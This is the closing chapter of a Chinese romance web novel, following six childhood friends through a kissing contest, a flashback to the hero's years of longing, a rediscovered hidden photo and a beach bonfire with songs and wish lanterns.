返回全剧终  菜紫首页

关灯 护眼     字体:

上一章 目录 下一章

第91章全剧终

那一晚,迷路后重逢的六个人,聚在小镇唯一一家还营业的小餐馆里,吃着当地特色烤鸡。<8

碟子是轮胎造型,刀叉是扳手造型,很是有趣。何家瑞和霍然互相拆台斗嘴,何家瑞被霍然挤兑得急了,脱口而出:“你走赶紧回你的野人窝当驸马去吧!!”

霍然:"???”

大家听着何家瑞和霍然活色生香地讲述分开这一路遇见的各种糗事,逗得哄堂大笑。

许岁眠能感觉到,谢卓宁今晚格外放松和开心。她知道,青春里最珍贵的莫过于此,历经波折,但最好的朋友和最爱的人最终都还在身边。那些陪你走过荒原与暴雨的人,才是生命中最坚实的底色。她靠在谢卓宁肩头,鼻尖有点发酸,忽然想起在国外留学时最黑暗的那段日子。

她隔着公寓的窗户,看着楼下那些聚在一起欢笑畅谈的外国同学,觉得那样简单而纯粹的快乐,自己这辈子大概永远也无法拥有了。她像溺水的人一样在孤独和压力里挣扎,幸好,幸好当初没有放弃自己,幸好,她足够勇敢,重新走了回来。

她侧头看着谢卓宁勾笑的侧脸,很多时候,她都想告诉他,那些他未曾参与的,她独自吞咽的苦涩。可话到嘴边,又觉得不必再说。谢卓宁仿佛心有灵犀,一边跟杨知非碰着杯,一边不动声色地伸过手臂,将她紧紧地揽入自己怀中。

许岁眠顺势抱住他的头,他将自己的下巴轻轻贴在她的发顶。这一顿热闹的晚餐接近尾声时,霍然端着酒杯站了起来。“哎哎哎,都静一静,听我讲两句哈!”

“限看咱们这趟长征马上就要到终点了,太他妈不容易了!我呢,就谨代表我个人,为咱们这一路的鸡飞狗跳、披荆斩棘,干杯!”薛晓京和许岁眠笑着用杯子里纯粹的鲜榨玉米汁碰了碰。“干杯,岁岁!”

薛晓京拉过许岁眠的手,小声兴奋地说:“等我们的宝宝都生了,让我家的哥哥姐姐和你家的弟弟或妹妹定个娃娃亲好不好?我不想和你分开。”“好呀。但你确定是龙凤胎吗?”

薛晓京一脸笃定:“确定呀!反正我有个宝宝肯定是要和你家结亲的!岁岁你要是生女儿呢,我就让我儿子娶!岁岁你要是生儿子呢,我就把我女儿嫁!谢卓宁搂着许岁眠,挑眉调侃:"周意那女人说的瞎话你也信?谁特么隔着衣服看一眼就能断男女?华佗再世也没这本事。你这脑子…薛晓京看着大家偷笑的表情,立刻看向杨知非,“杨知非,他们说的是什么意思?″

杨知非搂着她的肩膀,摸了摸她的头发安抚,淡淡瞥了谢卓宁一眼:“你非要现在告诉她?”

“你也知道?!!"薛晓京更震惊了。

何家瑞和霍然在一旁憋笑憋得辛苦。杨知非低头亲了亲她的额头,声音特温柔:“不是龙凤胎也没关系。我们还可以再生一个。你愿意吗?”“阿……“薛晓京一脸沮丧,“我还想一次省事呢,没想到还要疼两次…”她伸手比划了个“一”,表情快烦死了。

杨知非看得有点心疼,握住她的手:“不会让你疼的,相信我。我们去瑞士生,那边有最顶尖的医疗技术和产后修复体系,保证让你舒舒服服,比度蜜月还享受。”

薛晓京被他描绘的前景说得有点心动:“真的?不骗我?你都安排好了?”“嗯。“杨知非紧握着她的手,仿佛掌控一切,“放心,我不会让你吃一点苦。”

霍然在旁边啧啧摇头,低声对何家瑞感慨:“他妈的,果然,这世界上就没有钱解决不了的事儿。"<3

谢卓宁在一旁看得直眼红,凑到许岁眠耳边问:“老婆,咱去哪生?水星还是火星?只要你点头…”

“又贫!"许岁眠笑着轻捶他一下,“我哪儿也不去,就在家生。你呀,多准备点纸尿裤,准备好当奶爸就行了。”

“哈哈哈!”

于是几个年轻人就着怎么带娃养孩子的问题热火朝天地讨论开来。杨知非和谢卓宁这两个昔日叱咤风云的太子爷,竞然认真地约好回国后一起报个顶级奶爸速成班,学习怎么换尿布、冲奶粉、哄孩子睡觉。1那画面,看得霍然和何家瑞两个单身汪一愣一愣的。许岁眠和薛晓京则头碰头地商量着等娃生完了,事业和家庭如何平衡,产后怎么恢复,各有各的憧憬和计划。

那一晚,大家都沉浸在对未来的美好憧憬里。什么矜贵太子爷,什么世界冠军,此刻都心甘情愿地坠入凡尘,讨论着奶粉的段数,尿布的牌子。

所有这些琐碎温暖的细节,都只是因为爱。餐馆当晚正好有个特别活动一一亲吻大赛,坚持时间最长的情侣可以获得免单!

在众人的欢呼中,几乎所有人都参与了进去。不仅男女情侣在吻,还有男男、女女,大家在这个异国的小镇上,抛开了所有的标签和束缚,只剩下最本真的爱与自由。爱本无界,是人心画地为牢。

他们几个自然也不例外。

用谢卓宁的话说:“这冠军不就是给老子准备的吗?知道我外号叫什么吗?”

何家瑞欠兮兮地揭短:“卓别林?”

“滚蛋!"谢卓宁笑骂,“唇爱战神!!"<4说着他一把拉过许岁眠,甚至直接单膝跪上了餐桌,俯下身去,双手捧住许岁眠的脸,在倒计时结束的哨响瞬间,深深地吻了下去。与此同时,杨知非也侧身,精准地含住了薛晓京甜软的唇瓣。他闭着眼,高挺的鼻梁蹭着她的脸颊,喉结性感地滚动着。他那双细长的手此刻却虚虚地掐在薛晓京的脖子上。

别人吻得激情四射,唯有他,吻的色气满满,看的人心黄黄。何家瑞也想去扑霍然,彰显一下自己实力,被霍然一脸嫌弃地一脚踹开:“滚啊你!死处男!″

最后的决赛,竟然是在一对颜值超高的美国夫妇,谢卓宁许岁眠、以及杨知非薛晓京之间展开。

全场观众都在为他们吹口哨呐喊助威。

就在这时,薛晓京突然感觉到肚子里猛地一动,她下意识地“哎呦"了一声。杨知非立刻警觉地退开唇,低头看向她的肚子,紧张地问:“怎么了?他刚一离开,肚子里的小家伙就不动了。

薛晓京眨眨眼:“好像…没事了?”

杨知非眯了眯眼,有点狐疑,搂着她的脖子又试探性地凑过去亲。嘴唇刚碰到,薛晓京又"哎呦”一声,捂着肚子哭笑不得:“又踢了!”何家瑞在旁边幸灾乐祸地哈哈大笑:“让你别亲了别亲了!一亲就踹!哈哈哈肯定是嫌你碍着他/她睡觉了!”

杨知非这辈子大概从没对任何人、任何事低过头,薛晓京是第一个,这肚子里的小家伙是第二个。他只能无奈地扯了扯嘴角,搂着薛晓京认输。那边,那对美国夫妇和谢卓宁他们还在坚持。最终美国夫妇坚持不住失败,餐馆经理用英文激动地大喊:“获胜者是一一这对来自东方爱意浓烈的中国夫妻!!”

可即使比赛结束,他们赢了,谢卓宁还维持着跪在餐桌上的姿势,低着头,忘我地,一遍遍亲吻着许岁眠。

许岁眠的耳朵、脖颈早已红透,他却仿佛要就这样亲到地老天荒也不够。他闭着眼,额角抵着她汗湿的鬓发,脑海里却翻江倒海地闪过无数碎片一-十三岁那年夏天,他炮弹似的冲进客厅,正撞见安静窝在沙发角落的她,小红裙,大眼睛,像个可爱的洋娃娃。那一瞬间,混世魔王脑子里就剩下一个念头:想亲。<1

三年级成为他同桌,穿着小红裙的她昂着头做自我介绍。他故意恶作剧,把一只毛毛虫丢进她的铅笔盒,想看她大惊失色的样子,结果却被她凶巴巴撂了狠话,靠。怎么有人生气都这么可爱呢?想亲。假山后头的秘密基地被她占了,这丫头片子居然理直气壮坐在他的地盘上,边看书边对他下战书。明明被栽了面儿,可看着她温柔乖巧的脸蛋,还是想杀。

在资料室偷偷看书碰到巡逻,和她挤在书架缝隙里。她温热的呼吸拂过他下巴,睫毛垂得像两把小扇子。他喉结艰难滚了滚,想亲。篮球场边,她坐在凉亭里念书。他故意把球砸过去,跑去捡球时贱兮兮逗她。看她抿嘴一笑,想亲。

北海公园的鸭子船里,鼻尖绕着她头发上香香的洗发水味道。少年心事在胸腔里左冲右突,最终只是握紧了汗涔涔的拳头。暗恋是想触碰却伸回的手。想杀。

东四牌楼的老铜锅涮肉,蒸腾热气把她小脸熏得粉扑扑的。想亲。书法课上并肩趴在案前,盛夏蝉鸣的午后。他偷瞄她握着毛笔的纤白手指,醉死在墨香前的那一秒,想亲。

打架挂彩后被她拽到假山后头上药,棉签蘸着碘伏擦过伤口。她凑得极近,呼吸轻轻扫过他颈侧。疼得眦牙咧嘴,还是想亲。她发烧趴在课桌上难受的冒汗,他从书桌下偷偷握住她滚烫的手,心疼得不行。想亲。

除夕夜骑着骑行车载带她去西山爬碉堡,听她说要当为民请命的记者。小姑娘对着山脚万家灯火立誓:“为日月正言,为生民立言,为黑渊破冰,为万世存真。"夜风掀起她额前碎发,想亲,想得要命。高二晚会突然停电,他抢过吉他跳上主席台。不顾台下教导主任气得跳脚,他扯着嗓子为她唱歌。黑暗中听见自己震耳欲聋的心跳,想亲。高考完冲出考场,在涌动的人潮里紧紧抱住她。咸涩的汗水淌进嘴角,想杀。

暑假倒数第二周,在她家楼下那颗他们曾一起许诺永不分开的老槐树下,她说要分手。他咬着后槽牙把哽咽咽回去,心在滴血,血肉被搅烂,心里恨她怨她,赌气转身的那一瞬,还是想亲。

不曾想那就是永别。

她走那天他在机场外追着起飞的航班狂奔,最后摔在断桥边。膝盖磕得血肉模糊,他捶着地面嚎啕大哭,满脑子都是她第一次主动亲他时颤动的睫毛。真没出息啊谢卓宁。还是想亲。

她走后的第一年,在夜店喝到胃出血,在医院挂了三天点滴。被霍然揪着衣领骂没出息,半夜惊醒摸出枕下藏的照片,眼泪砸在泛黄相纸上,边抹边想亲第二年母亲病逝,继母生了小妹。他独自回到母亲生前住的小院,坐在荒草丛生的院子里,幻听般听见她笑着说要喝鸡汤。视线模糊成一片,想亲。第三年赛车冲出盘山道,在爆炸前一刻从变形的驾驶舱爬出来。躺在悬崖边望着支离破碎的天空,劫后余生地大口喘气。想亲。第四年偷偷飞去找她,在她公寓楼下长椅上枯坐三天。看见她孤独的身影走在雪地里,身子瘦的仿佛风吹就能摧折。躲在树后的他把拳头攥进血肉。想冲过去把人揉进怀里亲。

第五年封情锁爱,拼了命在赛车事业上,却在某个大汗淋漓的训练后的深夜梦见了她。惊醒时床单一片狼藉,懊恼地捶,想亲,想和她做到昏天黑地。第六年,第七年。

他在无数个深夜拿出偷偷藏起的她的照片,边看边掉眼泪,边恨她边咬牙自/W。还是想亲。

直到她在云顶会所的走廊重新出现。听见那道魂牵梦萦的声音,他扶着门框才勉强站稳。<1

后来她出现在俱乐部看台,逆光端坐在观众席上。他站在二楼看她,想立刻飞过去把人按在怀里亲。

从重逢那刻起,每个梦里都是把她抵在墙上亲。她回国后,每一次重逢,每一个眼神交汇,心底叫嚣的都是同一个念头一一亲她,用力地亲她,把错过的那些年都补回来……为了亲她,算计着让对家媒体去酒店堵她,故意泄露监控录像,处心心积虑设局领证。所有卑劣手段,不过是为了能名正言顺地天天亲,时时亲。<1此刻他含着她的唇瓣,像沙漠旅人啜饮甘泉。这些年她说的每句话都成了耳旁风,只要那两片唇一翕动,就只剩下本能的渴望。哪怕结婚已三年,他依然觉得不真实。一一他要被这刻骨的相思逼疯了。<1

谢卓宁的舌尖温柔地描摹着她的唇形,沉醉在这个吻里,仿佛外界的一切喧嚣都已不复存在。

直到他感觉到唇边尝到一丝咸涩,才缓缓睁开眼,发现竞是自己的眼泪不知何时滑落。

许岁眠也感觉到了,她慢慢回应着,轻轻搂住他微微颤抖的肩膀。1在所有人为冠军欢呼鼓掌时,在一片“恭喜免单"的喧闹声中,只有她,听到了他压抑在心底二十一年的爱意与思念。震耳欲聋在她的耳边。

她温柔地安抚:“好啦,乖乖,不哭了……晚上回房间,让你亲个够,好不好?”

那一晚,大家都玩得尽兴而归。

人这一生,总被各种东西束缚着一一家庭责任,生活压力,事业抉择、感情的牵绊。

回到北京,他们依然要面对数不清的现实:薛晓京和杨知非的婚姻还没完全得到梁女士的认可;许岁眠要平衡记者的工作压力与当母亲责任;谢卓宁要适应退役后的生活状态,思考未来的事业打算,要如何不依靠家族,用自己的双手为妻子和孩子撑起一个小家。

就连霍然和何家瑞这两个看似逍遥的浪荡公子哥,也逃不开家里老爷子催相亲的安排。

即便是他们这样的“二代”,也有着属于自己无法与人言说的烦恼。而这场旅行,就像一场短暂而奢侈的逃离。在这片异国的天空下,他们可以暂时卸下所有身份,只是自己,尽情地疯狂,感受着纯粹的自由与狂欢,身边是最好的朋友,最爱的人。人生海海,山山而川。幸得挚友与爱侣同行,方能在纷繁世事中偷得这片刻欢愉,用以抵御往后漫长的平凡岁月。

这一晚,大家都睡得格外香甜,做着关于未来,关于爱的,最美好的梦。深夜,在下榻的汽车旅馆房间里,谢卓宁躺在许岁眠身边,脸颊贴着她柔软的小腹,忽然有点嫉妒地轻轻说:“宝宝,什么时候也踢踢爸爸一下?让爸爸也感受感受你的小脾气?”

许岁眠抱着他的头,一手温柔地抚摸着肚子,笑他:“它还那么小,怎么听得懂你说话?”

或许是小家伙真的听到了爸爸的"投诉",就在那一刻,许岁眠突然清晰地感觉到肚子里传来一下轻微的触动。

她不可思议地瞪大了眼睛,立刻握住谢卓宁的手,引导着他的大手,轻轻放在自己小腹刚刚动过的位置,惊喜的颤音:“感觉到了吗?”谢卓宁立刻屏住呼吸,满脸期待地将耳朵更紧地贴上去,脸颊感受着她肌肤的温热,声音放得轻柔极了:“再动一下,小驰,再给爸爸打个招呼好不好?”神奇的是,他话音刚落,掌心下就再次传来一下轻轻的顶动。虽然那感觉极其微弱,但谢卓宁真真切切地捕捉到了。那一瞬间,难以言喻的喜悦和感动瞬间涌了上来。就像他赛车冲线时那一刻飙升起的肾上腺素,瞬间击中他的心心脏。“谢谢宝贝……“他翻过身,珍重地吻了吻许岁眠的肚皮,“小驰喜欢这个地方,是不是?以后等小驰出来了,我们一家三口,一定再来一次。"<1“好呀。“清凉的月光洒满房间,许岁眠贴着他的头,闭着眼睛,与他十指紧扣,“我也期待着那一天。”

翌日一早,出发前,六个人在“铁马驿站"那块门牌下,留下了一张珍贵的拍立得合影。

谢卓宁转身朝着"锈螺栓酒吧"那个熟悉的窗口,用力地挥了挥手。他似乎看到窗后有一个模糊的白胡子身影,也正微笑着朝他们点头告别。车子再次启动,载着他们驶向此次旅行的最终站。月光珍珠岛。

车队行驶在通往月光珍珠岛的环岛公路上,咸湿的海风开始灌入车窗。抵达岛上的私人度假岛时已是傍晚。

岛上处处是奢华的水上别墅,远处洁白的沙滩与蓝绿色的清澈海水在夕阳下闪闪发光,美得像画一样。

办理完入住,何家瑞就迫不及待地换上装备跑去潜水。霍然则躺在沙滩椅上,抱着椰子,吹着夜晚的海风,看着不远处一群来自中国的年轻大学生正在为晚上的海边音乐会忙碌准备,感慨自己愈发老了,这么年轻的妹子都撩不动了,现在只想瘫在椅子上吹吹海风,思考思考人生。顺便再羡慕一下,年轻真好,真带劲儿啊。想起他自己大学那会儿,整天他妈的夜店会所黄赌毒的,简直浪费大好青春呐

看了一会儿,他认命地拿起电话开始挨个催:“都快点儿滚出来!别特么在房间里墨迹了!晚上不够你们腻歪的!”许岁眠挂了电话,看着刚从露台走进来的谢卓宁,从行李箱里拿出两条裙子,笑着问他:“老公,你说我穿哪条好看?”谢卓宁走过来,目光温柔地落在她脸上:“我老婆穿哪条都好看。”“哎呀,你帮我挑一条嘛。”

他的手指在那条正红色的吊带长裙上轻轻一点:“这条。”“为什么呀?”

谢卓宁低头,吻了吻她的额头,抬起头促狭一笑:“第一次见你穿小红裙,就乱了我道心。”

“第一次?”

“嗯,小时候,第一眼。后来你转学来班里,第一天也穿的红裙。”许岁眠想起点小时候的事情,虽然有点模糊了,但是他欺负她可还没忘呢。脸一红,嗔道:“那你那时候还老欺负我!”“混蛋呗我,"谢卓宁坦然承认,手臂环住她的腰,“吸引你注意。”他拿起旁边一条细细的铂金项链,亲自为她戴上,随后在她背后落下一吻。“爱你,老婆。”

海滩上,何家瑞已经潜水回来,正和霍然插科打诨。“给晓京打电话,就说外面有八块胸肌大帅哥,来晚了人就走了!”房间里,薛晓京还在手忙脚乱地翻找漂亮的沙滩裙,电话响了也顾不上接。“老公,我那条鹅黄色的纱裙你看到了吗?是不是塞你行李箱里了?”杨知非刚洗完澡,正用毛巾擦着湿漉漉的头发,没听清她说什么。薛晓京就自己把他的行李箱拉出来打开。

他的衣物大多熨帖整齐,颜色素净,透着矜贵少爷的讲究。她翻找着,不小心碰倒了一本书。杨知非有睡前阅读的习惯,从他大学时的公寓到婚后卧室的床头,总放着那么几本书,多是些她看不太懂的经济论著或哲学书籍。薛晓京鬼使神差地拿起那本硬壳旧书,是《牛虻》。她虽然不爱看书,这本名著的名字还是知道的。她随手翻开,恰好是折角的一页,一张小小的一照片,从书页里飘然滑落。

薛晓京捡起来,目光触及照片的瞬间,整个人如遭雷击,愣在原地。照片上,是高一时的她,短头发,穿着校服,笑得有点傻气。正是那年学校宣传栏里莫名其妙丢失的那一张。<2

怎么会,在他这里?

她捏着那张小小的边缘已经微微磨损的照片,心脏像是被一只无形的手紧紧抓住,呼吸都要停止。

那一寸照,安静地躺在那页泛黄的纸张上,不知躺了多少年,而那一页,恰好有这样一段话,被他用钢笔细细地划了线:「我是爱你的,琼玛,当你还是一个丑小丫,穿一件花格子罩衫,围一个皱巴巴的胸搭,背拖一条小辫子的时候,我就已经爱上了你,我现在还爱着你。你还记得有一天我吻了你的手,而你那样可怜巴巴地央求我′请你以后不要这样’那件事吗?我知道那是种不光彩的把戏,但是你一定要原谅我。这封信里,在写到你的名字的地方,我也在纸上吻过。因此,我已经吻了你两次,两次都没有得到你的同意。」<2

杨知非擦着头发走出来,看见她跪坐在地毯上,手里捏着那张照片,正对着那本摊开的《牛虻》。

他动作顿住,沉默地看着她,水珠顺着他漆黑的发梢滴落,在他昂贵的丝质睡袍上泅开。

他喉咙滚动了一下,走过去,俯下身,默默地从她微微颤抖的手中抽走了那本书,随即合上,轻轻放在一旁的床头柜上。薛晓京依旧低着头,大颗的眼泪毫无预兆就啪嗒砸在柔软的地毯上。一时间,房间里静默得只剩下窗外隐约的海浪声。眼泪开始不受控制地往下掉。

她忽然轻笑了一声,抬起头来,泪眼模糊地看向他:“所以,高中那年,宣传栏里我的照片,是你偷走的?”

杨知非背对着她,手指无意识地收拢,握紧了手中的毛巾。他喉结艰难地滚了一下,才用沙哑的嗓音吐出一个字:“是。”

薛晓京的眼泪流得更凶了,却又很想笑:“所以……你那时候,就喜欢我?”“是。”

“那你为什么不说?!“她崩溃了,垂下头,眼泪大颗大颗地落了下来。沉默在空气中蔓延。

许久,杨知非才转过身,目光沉沉地看向她。“那天晚会结束后,我给你发了消息,想和你表白。约你第二天在凉亭见。”

他顿了顿,声音有点哽住,“我等了一夜……你没来。”“你胡说!"薛晓京猛地抬头,泪水涟涟,“我也等了你一夜!明明是你没有来………

她突然愣住。

像是反应过来什么,<1

在他沉沉注视着她,骤然变紧的眼神中。薛晓京脑子乱成一团,“我……我那天晚上太兴奋,很晚才睡着,醒来看到你发的′明天见',我以为……我以为说的是第二天晚……”

天呐,她竞然看错了时间!她把“明天"理解成了“转天晚上”!怎么会是,会是这样……

杨知非站在那里,深深地吸了一口气,又缓缓吐出。他无法形容此刻心脏所遭受的钝痛,更不会怪她。因他全然被那一句“我也等了你一夜”冲击至此刻。那个充满了躁动、期待、又最终被失落填满的夏夜。那个可能改变他们之后许多年轨迹的约定。原来他们都曾赴约,却又阴差阳错地在时间的河流里擦肩而过。薛晓京看着他那红的吓人的眼眶,心口疼得厉害,她伸出手轻轻拉住他的睡袍袖子,“对不起……

他却倔强地偏头,不言不语,沉默独自消化,只用一根手指,飞快将眼角湍急而出的水雾抹去。

“如果那天我没有看错时间,如果我去了,你会对我说什么?”杨知非闭了闭眼,再睁开时,眼底已恢复了些许平静。他回过头来,弯腰将她从地毯上抱起来,轻轻放在床上,然后单膝跪在床边,与她平视。

他伸手,一点点擦干她脸上的泪痕。

“过去了的事,没有意义。“他低声说,然后嘴角慢慢勾起,低头在她鼻尖上轻轻吻了一下。<1

他模仿着当年那个青涩又忐忑的自己可能会用的语气,低声问她:“跟我好吧。"<2〕

“从十八岁,到八十岁。”

“薛晓京,我们合法地,过一辈子。"2

傍晚的珍珠岛海滩美得像仙境。

那群年轻的大学生在沙滩上燃起了篝火,发现了微弱的蓝眼泪,发出阵阵欢呼。

霍然和何家瑞也在一旁手忙脚乱地弄着烧烤架生火。何家瑞举着一盘烤得焦黑的榴莲,嚷嚷着:“我靠!顶级猫山王!谁吃?谁吃?”边说边故意往人堆里凑,那味道简直了,堪称生化武器。谢卓宁搂着许岁眠,一个劲儿挥手:“滚蛋!躲远点儿!”霍然哈哈大笑。何家瑞不服:“多好吃啊!"看见手拉手走过来的杨知非和薛晓京,立刻转移目标,“来来来!非哥,京姐,我特地给你们烤的榴莲!薛晓京赶紧松开杨知非的手,捂着鼻子骂他:“何家瑞你恶不恶心!”杨知非只淡淡指了他一下:“不想回北京了?”“什么人嘛!都不吃我吃!好心当成驴肝肺!"何家瑞嚷嚷着,抱着他那盘烤榴莲,转身就往大学生堆里跑,结果还没靠近,人家就集体把他轰了出去。几个人看着何家瑞吃瘪的样子笑作一团。

海滩上篝火点点,星空低垂,都是来自世界各地的年轻人,中国人除了他们几个和那群大学生以外,还有一群环游世界的摇滚青年,他们像是一个乐队,此刻正在调试吉他、贝斯和鼓等乐器,估计在准备着待会儿的演出,他们那边同样热闹非凡。

霍然烤的肉终于好了些,许岁眠刚站起身想帮忙分给大家,霍然就按住她:“行了,您这孕妇就歇着吧!让我这单身狗来伺候各位祖宗!”他低着头,动作利落地切着肉,把烤得最嫩品相最好的一份先递给了许岁眠,甚至就明目张胆地在谢卓宁眼皮子底下搞这小动作。他一边切肉一边笑着说:“以前啊,不管小时候还是长大了,聚会时总是岁岁忙前忙后照顾咱们。今儿呢,也让岁岁享享福。”他抬起头,冲着谢卓宁咧嘴一笑,“卓哥,不介意吧?”谢卓宁搂着许岁眠,海风将他的衬衫吹的膨了起来,他咧着嘴笑:“当然,家属跟着沾光?”

薛晓京立刻举手:“还有我还有我!我也是家属!我和岁岁是要联姻的!联不了我也要当孩子干妈!”

“你们他妈一个个的………霍然笑骂,“伺候!老子今天伺候到底!您呢,杨大少,有什么吩咐?”

杨知非姿态闲适地靠在沙滩椅上,淡淡开口:“先把酒满上。”“成!老子天生就是当小弟的命!"霍然拿起酒瓶,先给杨知非倒上,又给谢卓宁满上,边倒边说,“这杯酒喝了,卓哥,咱就是一家人!等岁岁生了,怎么着我也得混个干爹当当!”

谢卓宁举着酒杯,看着沙滩上抱着榴莲悻悻跑回来的何家瑞,笑道:“你跟后面那个商量。”

“干爹?什么干爹?"何家瑞凑过来。

“我是你干爹!"霍然立刻接话。

“滚回你野人老家去!”

薛晓京靠在杨知非怀里笑得直抖。杨知非淡淡地喝着酒,唇角微扬。薛晓京看着他手里的酒杯,嘴唇凑过去,小声商量:“我也想喝一点点…杨知非放下酒杯,斜睨她一眼:“不可。”“就一口嘛……”

“一口也不可。"他搂紧她,海风吹起她俏丽的短发,她的眼睛在篝火光里显得格外亮晶晶,仿佛还没喝就已经醉了,“那…像你上次那样喂我……行不行?上次他嘴对嘴渡了一小口红酒让她尝味道。杨知非凑近,鼻尖几乎碰到她的,故意问她:“哪样?”他低沉的嗓音特别性感,在海浪声和隐约的音乐背景下,格外撩人。薛晓京脸一红,捶了他一下:“……不喝了!”刚扭过头,就被他扣住后颈,深深地吻住了。海浪轻柔地拍打着沙滩,不远处的青年乐队爆发出试音的吉他轰鸣声和鼓点。

许岁眠看着他们笑,自己也拿起酒杯,和谢卓宁轻轻碰了一下,狡黠地眨眨眼:“就一小口。"其实她杯子里是鲜榨的果汁。谢卓宁举起自己的酒杯,与她相视而笑:“陪一口。”他放下酒杯,忽然说:“老婆,你等我一下。”说完他便起身跑向那群正在调试乐器的青年面前,低声交谈了几句,很快借到了一把木吉他。

他抱着吉他回来,坐在篝火旁的一块大木头上,试了几个音。一开始,只有他们几个人。

谢卓宁低头弹唱起来,是那首他们高中时的定情曲一一《羞答答的玫瑰静悄悄地开》。

他弹得并不花哨,歌声低沉又温柔,目光始终落在对面许岁眠的身上,仿佛整个世界只剩下她一个听众。

很快何家瑞和霍然勾肩搭背地加入进来,跟着一起唱:“慢慢地绽放她留给我的情怀一一”

“春天的手呀翻阅她的等待--"薛晓京也拍着手,摇晃着身体跟着唱起来,杨知非就那么安静地搂着她,一只手轻轻点着拍子。越来越多的人围了过来,中国的、外国的游客,都被这边温馨的气氛感染,自发地围成一个圈,跟着节奏一起鼓掌。谢卓宁唱着那首老歌,时光仿佛在这一刻穿越,回到了那个灯光骤熄的高中礼堂舞台,他抱着一把借来的吉他,站在主席台中央,为他深爱的女孩唱出他年少时最赤诚的爱意。

许岁眠安静地听着,眼眶慢慢湿润。这时她的手机震动了一下,她拿出来,是同事发来的消息,确认了她之前提交的一个有关中东和平问题的专题报道获得了年度大奖,后面跟着一句:「回来为你庆功,恭喜岁岁,实至名归的首席记者。」<3

她握着手机,手指微微用力,然后轻轻将手机放回口袋,抬起头,泪眼朦胧地看着那个在篝火旁为她唱歌的男人。

她回想起这一路走来的自己一一

那个在重男轻女的家族氛围中,努力证明自己价值的女孩;那个在异国他乡,一边流着眼泪治疗心心理障碍,一边在深夜图书馆里啃书本的留学生身影……那个初入职场时被前辈打压、穿小鞋,却依旧扑下身子的新人记者;那个为揭露污水厂黑幕,敢只身直面背后势力威胁的调查者。那个为探寻拆迁真相,毅然走向开发商对峙的孤勇者。那个当所有人对她说不的时候,她无比勇敢地与世界温柔对抗的女孩。她在最赤裸的恶意里,也见证过最朴素的温暖。她终于走到了今天。<1

幸好她从未放弃自己。幸好她足够勇敢,才能一步步走出泥泞,拥抱此刻的事业、爱情,和那个正在她身体里跳动着的崭新生命。她看着谢卓宁,看着薛晓京和杨知非,看着打闹的霍然与何家瑞。她和谢卓宁是历经漫长分离与各自成长后的双向奔赴,是破镜重圆后更加坚固的懂得与珍惜。

晓京与杨知非也在用最笨拙的方式相互靠近,用一身尖刺守护内心最柔软的深情。

还有游戏人间的霍然、看似没心没肺的家瑞……他们都从年少轻狂中走来,跌跌撞撞,在学习如何去爱,如何被爱的路上,摸索着前行。

尽管在摸索的这条路上,出现了太多太多的阻碍和困难。但这就是我们的青春啊。

没有谁的道路始终被阳光铺满,我们都曾在浓雾中迷失方向,也曾被现实的大雪冻僵过热血。

可若我们因恐惧而停在原地,就会被往事吞噬;若是向命运低头,就会摔得粉身碎骨。

我们无法预知哪一条是绝对正确的路。

我们只能心怀无畏,勇敢走下去。

“我已不再迟疑,伸手将她轻轻地摘”

一首歌终了,许岁眠和众人一起用力鼓掌。海边上空,开始有三三两两的孔明灯升起,海面上还漂起了水灯,载着人们美好的愿望飘向深邃的夜空和广阔的大海,星星点点,美得令人心醉。“我要许愿!"薛晓京指着天空兴奋地说。何家瑞不知从哪里搬来了一个巨大的还未组装的孔明灯,“喏,咱们的愿望,一起放在这里放走吧!”

“好啊!”

几个人立刻兴奋地围拢到沙滩稍空旷的岸边,每个人都拿起笔,在发放的愿望卡上认真地写写画画。

薛晓京咬着笔头,不知道写什么,想偷偷看旁边何家瑞的。何家瑞立刻警觉地转过身,把卡片护在胸前:“字丑,不给你看!”薛晓京“切"了一声,扭头看杨知非:“你写的什么?给我看看。”杨知非没有遮掩,提起笔来,在卡片上落下三个风骨傲然的字:「因与果」。薛晓京看不太懂这禅意,正欲追问,却见他已抬手将卡片挂上。许多年后她才明白,那三个字,是他向佛祖陈述的全部逻辑一-他此生的善因与功德,所求的果,从始至终,唯她一人在终点。1不过那时她懒得深究,又探头问霍然:“你呢?”霍然大大方方亮出卡片,上面写着:「同心同舟」。薛晓京觉得这话既像友情又像爱情,不甚明了。她想了想,也在自己卡片上写下「友情万岁」四个字,然后美滋滋地挂上孔明灯。她又去闹何家瑞:“霍然都给我看了!你怎么这么小气!”“哎呀躲开!别烦人!看了就不灵了!”

“我看看嘛!就看一眼!”

“你能不能安静会儿!都结婚当妈的人了,还跟小时候一样!学学人家岁岁多文静!”

许岁眠笑了笑,在自己那张卡片上,一笔一画,认真地写下:「愿山河恙,烟火寻常。」

何家瑞背对着大家,在自己的卡片上飞快地写下:「六人组永远在一起。」笔尖顿了顿,又在后面用更小的字添上了一行:「晓京永远幸福。」然后飞快叠好,像做贼似的迅速把卡片挂了上去。<3「求老天爷赐个漂亮媳妇儿!!!」何家瑞嘴里故意念念有词,“老子后半子的幸福就看天爷您了嗷!”

“就知道你写的最恶心,得亏没看。"薛晓京撇撇嘴,转头又问杨知非,“我很吵吗?你嫌我烦吗?”

“不吵,不烦。“杨知非捏捏她的脸,“就是有时候,少说两句就更好了。”“你还是嫌我吵嫌我烦!!”

“我是怕你话说多了口渴,也怕影响宝宝睡觉。”许岁眠被逗笑了,一边写着字,一边转头问谢卓宁:“我记得初中咱俩同桌那会儿,也老拌嘴,你是不是也嫌我吵来着?”“有吗?“谢卓宁眨了眨眼,假装失忆,低头在自己那张卡片上,一笔一画,写得极其认真。

那些年被爷爷逼着练的毛笔字功底还在,字迹遒劲有力,带着一股潇洒的筋骨。

“有呀,"许岁眠微笑着看着他,“看来你是不记得了。“她把自己的卡片挂好。她的愿望很大,又很小,关乎世界,也系于身边人。“嗯,确实不记得了。“谢卓宁写好,没等许岁眠看清,就迅速对折,仔细地挂在了孔明灯上。

“好了!点火吧!”

“过来点火啦!”

何家瑞招呼着,拿出打火机。大家都围拢过来,紧张而期待地看着这一刻。就在这时,身后青年营地那边,突然爆发出激烈沸腾的欢呼声和震耳欲聋的摇滚前奏!是动力火车那首《当》!熟悉的前奏一响,所有人瞬间起了一身鸡皮疙瘩!

他们几个也不约而同地回过头,只见那群大学生,在周围老外们震惊又好奇的目光中,手拉手围成一个大圈,把那支青年乐队围在了里面。中间的乐队疯狂地弹着吉他、敲着鼓、拨着贝斯!所有在场的中国人,认识的、不认识的,都挥舞着手,还有人挥着一面五星红旗,大家一起声嘶力竭地合唱!

